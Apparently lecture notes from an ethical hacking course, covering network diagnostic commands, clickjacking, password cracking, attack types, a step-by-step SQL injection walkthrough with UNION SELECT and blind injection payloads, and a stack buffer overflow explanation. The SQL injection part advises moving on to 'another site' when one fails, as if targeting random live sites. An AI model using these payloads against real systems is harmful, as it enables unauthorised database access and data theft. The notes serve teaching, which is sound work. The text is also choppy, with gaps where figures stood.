Ethical Hacking 2 19
Ethical Hacking 2 19
UNIT-I
INTRODUCTION
HACKING WINDOWS
Definition: -
Hacker is a term used by some to mean "a clever programmer" and by others, especially those
in popular media, to mean "someone who tries to break into computer systems."
Network Hacking
Network Hacking is generally means gathering information about domain by using tools like
Telnet, NslookUp, Ping, Tracert, Netstat, etc.
It also includes OS Fingerprinting, Port Scanning and Port Surfing using various tools.
Ping: - Ping is part of ICMP (Internet Control Message Protocol) which is used to troubleshoot
TCP/IP networks. So, Ping is basically a command that allows you to check whether the host
is alive or not.
To ping a particular host the syntax is (at command prompt)--
c:/>ping hostname.com
Various attributes used with 'Ping' command and their usage can be viewed by just typing
c:/>ping at the command prompt.
C:\>ping
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] target_name
2
Introduction
Options:
-t Ping the specified host until stopped.
To see statistics and continue - type Control-Break;
To stop - type Control-C.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.
Netstat: - It displays protocol statistics and current TCP/IP network connections. i.e. local
address, remote address, port number, etc.
Its syntax is (at command prompt)--
c:/>netstat -n
Telnet: - Telnet is a program which runs on TCP/IP. Using it we can connect to the remote
computer on particular port. When connected it grabs the daemon running on that port.
The basic syntax of Telnet is (at command prompt)—
c:/>telnet hostname.com
3
Introduction
Tracert: - It is used to trace out the route taken by the certain information i.e. data packets
from source to destination.
Its syntax is (at command prompt)--
c:/>tracert www.hostname.com
WEB HACKING
ClickJacking
Definition: -
"Clickjacking is a malicious technique of tricking web users into revealing confidential
information or taking control of their computer while clicking on seemingly innocuous web
pages."
Introduction: -
A vulnerability across a variety of browsers and platforms, a click jacking takes the form of
embedded code or script that can execute without the user's knowledge, such as clicking on a
button that appears to perform another function.
The long list of vulnerabilities involves browsers, Web sites and plug-ins like Flash.
How It Works? :-
ClickJacking is a little bit difficult to explain however try to imagine any button that you see
in your browser from the Wire Transfer Button on your Bank, Post Blog button on your blog,
Add user button on your web-site, Google Gadgets etc.
ClickJacking gives the attacker to ability to invisibly float these buttons on-top of other
innocent looking objects in your browser. So, when you try to click on the innocent object, you
are actually clicking on the malicious button that is floating on top invisibly.
JavaScript increases the effectiveness of these attacks hugely, because it can make our invisible
target constantly follow the mouse pointer, intercepting user\92s first click with no failure.
We can however imagine a few less effective but still feasible script less scenarios, e.g.
covering the whole window with hidden duplicates of the target or overlaying an attractive
element of the page, likely to be clicked (e.g. a game or a porn image link), with a transparent
target instance.
4
Introduction
Examples: -
1. Malicious camera spying using Adobe's Flash.
2. Flash, Java, SilverLight, DHTML Game or Application used to Spy on your Webcam
and/or Microphone.
5
Introduction
6
Introduction
Origins of Hacking
M.I.T. engineers in the 1950s and 1960s first popularized the term and concept of hacking.
Starting at the model train club and later in the mainframe computer rooms, the so-called
"hacks" perpetrated by these hackers were intended to be harmless technical experiments and
fun learning activities.
Later, outside of M.I.T., others began applying the term to less honourable pursuits. Before the
Internet became popular, for example, several hackers in the U.S. experimented with methods
to modify telephones for making free long-distance calls over the phone network illegally.
As computer networking and the Internet exploded in popularity, data networks became by far
the most common target of hackers and hacking.
7
Introduction
Here "* * * Request timed out." indicates that firewall installed on that system block the request
and hence we can't obtain it's IP address.
Various attributes used with tracert command and their usage can be viewed by just typing
c:/>tracert at the command prompt.
C:\>tracert
Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
Options:
-d Do not resolve addresses to hostnames.
-h maximum_hops Maximum number of hops to search for target.
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.
The information obtained by using tracert command can be further used to find out exact
operating system running on target system.
Password hacking
Password hacking is one of the easiest and most common ways hackers obtain unauthorized
computer or network access. Although strong passwords that are difficult to crack (or guess)
are easy to create and maintain, users often neglect this. Therefore, passwords are one of the
weakest links in the information-security chain. Hackers have many ways to obtain passwords.
They can glean passwords simply by asking for them or by looking over the shoulders of users
as they type them in. Hackers can also obtain passwords from local computers by using
password-cracking software. To obtain passwords from across a network, hackers can use
remote cracking utilities or network analysers.
Technical password vulnerabilities You can often find these serious technical vulnerabilities
after exploiting organizational password vulnerabilities: Weak password encryption schemes.
8
Introduction
Hackers can break weak password storage mechanisms by using cracking methods that I
outline in this chapter. Many vendors and developers believe that passwords are safe from
hackers if they don’t publish the source code for their encryption algorithms. Wrong! A
persistent, patient hacker can usually crack this security by obscurity fairly quickly. After the
code is cracked, it is soon distributed across the Internet and becomes public knowledge.
Password-cracking utilities take advantage of weak password encryption. These utilities do
the grunt work and can crack any password, given enough time and computing power. Software
that stores passwords in memory and easily accessed databases. End-user applications that
display passwords on the screen while typing.
The ICAT Metabase (an index of computer vulnerabilities) currently identifies over 460
technical password vulnerabilities, 230 of which are labelled as high severity. You can search
for some of these issues at icat.nist.gov/icat. cfm to find out how vulnerable some of your
systems are from a technical perspective. Cracking Passwords Password cracking is one of the
most enjoyable hacks for the bad guys. It fuels their sense of exploration and desire to figure
things out.
Cracking Passwords
Password cracking is one of the most enjoyable hacks for the bad guys. It fuels their sense of
exploration and desire to figure things out. You may not have a burning desire to explore
everyone’s passwords, but it helps to approach password cracking with this thinking. So where
should you start hacking the passwords on your systems? Generally speaking, any user’s
password works. After you obtain one password, you can obtain others — including
administrator or root passwords.
9
Introduction
Password-Cracking Countermeasures
The strongest passwords possible should be implemented to protect against password cracking.
Systems should enforce 8 to 12 character alphanumeric passwords. To protect against cracking
of the hashing algorithm for passwords stored on the server, you must take care to physically
isolate and protect the server.
The systems administrator can use the SYSKEY utility in Windows to further protect hashes
stored on the server hard disk. The server logs should also be monitored for brute-force attacks
on user accounts.
Attacks
An attack is an intentional threat and is an action performed by an entity with the intention to
violate security. Examples of attacks are destruction, modification, fabrication, interruption or
interception of data. An attack is a violation of data integrity and often results in disclosure of
information, a violation of the confidentiality of the information, or in modification of the data.
An attacker can gain access to sensitive information by attacking in several steps, where each
step involves an illegal access to the system. An intentional threat can be caused by an insider
or outsider, can be a spy, hacker, corporate raider, or a disgruntled employee.
Any attack on the security of a system can be a direct and indirect attack. A direct attack aims
directly at the desired part of the data or resources. Several components in a system may be
attacked before the intended (final) information can be accessed. In an indirect attack,
information is received from or about the desired data/resource without directly attacking that
resource. Indirect attacks are often troublesome in database systems where it is possible to
derive confidential information by posing indirect questions to the database. Such an indirect
attack is often called inference.
Passive Attacks
Passive attacks are made by monitoring a system performing its tasks and collecting
information. In general, it is very hard to detect passive attacks since they do not interact or
disturb normal system functions. Monitoring network traffic, CPU and disk usage, etc are
examples of passive attacks. Encryption of network traffic can only partly solve the problem
since even the presence of traffic on a network may reveal some information. Traffic analysis
such as measuring the length, time and frequency of transmissions can be very valuable to
detect unusual activities.
Active Attack
An active attack changes the system behaviour in some way. Examples of an active attack can
be to insert new data, to modify, duplicate or delete existing data in a database, to deliberately
abuse system software causing it to fail and to steal magnetic tapes, etc. A simple operation
10
Introduction
such as the modification of a negative acknowledgment (NACK) from a database server into a
positive acknowledgment (ACK) could result in great confusion and/or damage. Active attacks
are easier to detect if proper precautions are taken.
11
Introduction
To be a SQL injection vulnerable a site has to have a GET parameter in the URL.
In http://www.site.com/news.php?id=4, id=4 is the GET parameter as it is getting the id=4
from the backend database.
Checking Vulnerability: To check if the site is vulnerable to SQLi the most common way is to
just add an apostrophe( ‗ ) after one of the parameter in the URL.
Ex:
http://www.site.com/news.php?id=4′
Now if the site is vulnerable it will show error like:
You have an error in your SQL Syntax
Warning: mysql_num_rows()
Warning: mysql_fetch_assoc()
Warning: mysql_result()
Warning: mysql_fetch_array()
Warning: mysql_numrows()
Warning: mysql_preg_match()
If you see any of these errors when entering ‗ after the number or string of parameter then the
chances are the site is vulnerable to SQLi attacks to some extent. Although that is not the only
way to know if the site is vulnerable to SQLi attacks, an error can be in form of when a part of
the site is just simply disappears such as a news article, body text or images. If this happens
then the site is vulnerable also. Finding number of columns: After you find that the site is
vulnerable the next step is to find the number of columns in the table that is in use. There are
couple of ways to do this like ORDER BY or GROUP BY. Here I will use ORDER BY To
find the number of columns start with ORDER BY 1.
Ex. http://www.site.com/news.php?id=4 ORDER BY 1–If it doesn’t error then probably you
can use ORDER BY command. Sometimes you will get error on doing ORDER BY 1, if it
gives error then simple move on to another site. If it doesn’t error then I always go to ORDER
BY 10000 (because a table can’t have 10000 columns in it) to see if it gives error.
Ex. http://www.site.com/news.php?id=4 ORDER BY 10000–
Sometimes it doesn’t error as it should, then I use AND 1=0 before the ORDER BY query to
get an error.
Ex. http://www.site.com/news.php?id=4 AND 1=0 ORDER BY 10000–
After getting the error on 10000 it’s up to you how you find the number of columns, I start with
100 and divide the no of columns by 2 until I get closer. Something like this:
http://www.site.com/news.php?id=4 ORDER BY 100–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 50–
ERROR
12
Introduction
13
Introduction
Now say we got back the number 3, so this is the column that we can retrieve data from. To
get the database version there are two ways either version() or @@version, let‘s use them:
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(version()),4–
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(@@version),4–
If you get an error like “Illegal mix of collations when using @@version”, then you have to
convert it into Latin from UTF8 as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(@@version using latin1),4–
NOTE: We are completely replacing the number 3 with our query, something like
1,2,group_concat(@@version),3,4– will result in error.
If it worked you will get the version of MySQL. You will see something like 5.0.45, 5.0.13-
log, 4.0.0.1 etc. All we need to focus is on the first number, i.e., 4 or 5. If it is 5 then keep going
but if it is 4 and you are new then you should move on to another website because we have to
guess the table names in order to extract the data.
NOTE: Sometime you will get frustrated by knowing that you spent 5-10 minutes in just
getting the database version after applying the ORDER BY, UNION SELECT and version()
in queries and the result is MySQL4. So, to save my time in getting the database version, I use
the Inferential (Blind SQL Injection) to get the version of the MySQL. Do as follows:
http://www.site.com/news.php?id=4 AND 1=1–
NO ERROR
http://www.site.com/news.php?id=4 AND 1=2–
ERROR
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=4–
If page come back true then the version is 4.
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=5–
If page come back true then the version is 5.
If version is 5 then you can start ORDER BY and continue because you already know that the
version is 5 and you will not have to guess the table names. Although I would recommend that
beginners should use ORDER BY.
14
Introduction
For those who are curious to see how this works, we will now attempt to examine in more detail
the mechanism of this attack and also to outline certain preventive measures.
Programs written in C language, where more focus is given to the programming efficiency and
code length than to the security aspect, are most susceptible to this type of attack. In fact, in
programming terms, C language is considered to be very flexible and powerful, but it seems
that although this tool is an asset it may become a headache for many novice programmers. It
is enough to mention a pointer-based call by direct memory reference mode or a text string
approach. This latter implies a situation that even among library functions working on text
strings, there are indeed those that cannot control the length of the real buffer thereby becoming
susceptible to an overflow of the declared length.
Before attempting any further analysis of the mechanism by which the attack progresses, let us
develop a familiarity with some technical aspects regarding program execution and memory
management functions.
Process Memory
When a program is executed, its various compilation units are mapped in memory in a well-
structured manner.
Legend:
The text segment contains primarily the program code, i.e., a series of executable program
instructions. The next segment is an area of memory containing both initialized and
uninitialized global data. Its size is provided at compilation time. Going further into the
memory structure toward higher addresses, we have a portion shared by the stack and heap
that, in turn, are allocated at run time. The stack is used to store function call by arguments,
local variables and values of selected registers allowing it to retrieve the program state. The
heap holds dynamic variables. To allocate memory, the heap uses the malloc function or the
new operator.
15
Introduction
Function calls
The program works by sequentially executing CPU instructions. For this purpose, the CPU has
the Extended Instruction Counter (EIP register) to maintain the sequence order. It controls the
execution of the program, indicating the address of the next instruction to be executed. For
example, running a jump or calling a function causes the said register to be appropriately
modified. Suppose that the EIP calls itself at the address of its own code section and proceeds
with execution. What will happen then?
When a procedure is called, the return address for function call, which the program needs to
resume execution, is put into the stack. Looking at it from the attacker’s point of view, this is
a situation of key importance. If the attacker somehow managed to overwrite the return address
stored on the stack, upon termination of the procedure, it would be loaded into the EIP register,
potentially allowing any overflow code to be executed instead of the process code resulting
from the normal behaviour of the program. We may see how the stack behaves after the code
of Listing 1 has been executed.
Listing1
void f(int a, int b)
{
char buf[10];
// <-- the stack is watched here
}
void main()
{
f(1, 2);
}
After the function f() is entered, the stack looks like the illustration in Figure 2.
16
Introduction
Fig. 1.2 Behaviour of the stack during execution of a code from Listing 1
Legend:
Firstly, the function arguments are pushed backwards in the stack (in accordance with the C
language rules), followed by the return address. From now on, the function f() takes the return
address to exploit it. f() pushes the current EBP content (EBP will be discussed further below)
and then allocates a portion of the stack to its local variables. Two things are worth noticing.
Firstly, the stack grows downwards in memory as it gets bigger. It is important to remember,
because a statement like this:
sub esp, 08h
That causes the stack to grow, may seem confusing. In fact, the bigger the ESP, the smaller the
stack size and vice versa. An apparent paradox.
Secondly, whole 32-bit words are pushed onto the stack. Hence, a 10-character array occupies
really three full words, i.e. 12 bytes.
17
Introduction
The Threat
How to recognize where an attack may occur? We just know that the return address is stored
on the stack. Also, data is handled in the stack. Later we will learn what happens to the return
address if we consider a combination, under certain circumstances, of both facts. With this in
mind, let us try with this simple application example using Listing 2.
Listing 2
#include
char *code = "AAAABBBBCCCCDDD";
//including the character '\0' size = 16 bytes
void main()
{
char buf[8];
strcpy(buf, code);
}
When executed, the above application returns an access violation. Why? Because an attempt
was made to fit a 16-character string into an 8–byte space (it is fairly possible since no checking
of limits is carried out). Thus, the allocated memory space has been exceeded and the data at
the stack bottom is overwritten. Let us look once again at Figure 2. Such critical data as both
the frame address and the return address get overwritten (!). Therefore, upon returning from
the function, a modified return address has been pushed into EIP, thereby allowing the program
to proceed with the address pointed to by this value, thus creating the stack execution error. So,
corrupting the return address on the stack is not only feasible, but also tri vial if “enhanced” by
programming errors.
Poor programming practices and bugged software provide a huge opportunity for a potential
attacker to execute malicious code designed by him.
Stack overrun
We must now sort all the information. As we already know, the program uses the EIP register
to control execution. We also know that upon calling a function, the address of the instruction
immediately following the call instruction is pushed onto the stack and then popped from there
and moved to EIP when a return is performed. We may ascertain that the saved EIP can be
modified when being pushed onto the stack, by overwriting the buffer in a controlled manner.
Thus, an attacker has all the information to point his own code and get it executed, creating a
thread in the victim process.
Roughly, the algorithm to effectively overrun the buffer is as follows:
1. Discovering a code, which is vulnerable to a buffer overflow.
2. Determining the number of bytes to be long enough to overwrite the return address.
3. Calculating the address to point the alternate code.
4. Writing the code to be executed.
5. Linking everything together and testing.
Privacy Attacks
18
Introduction
19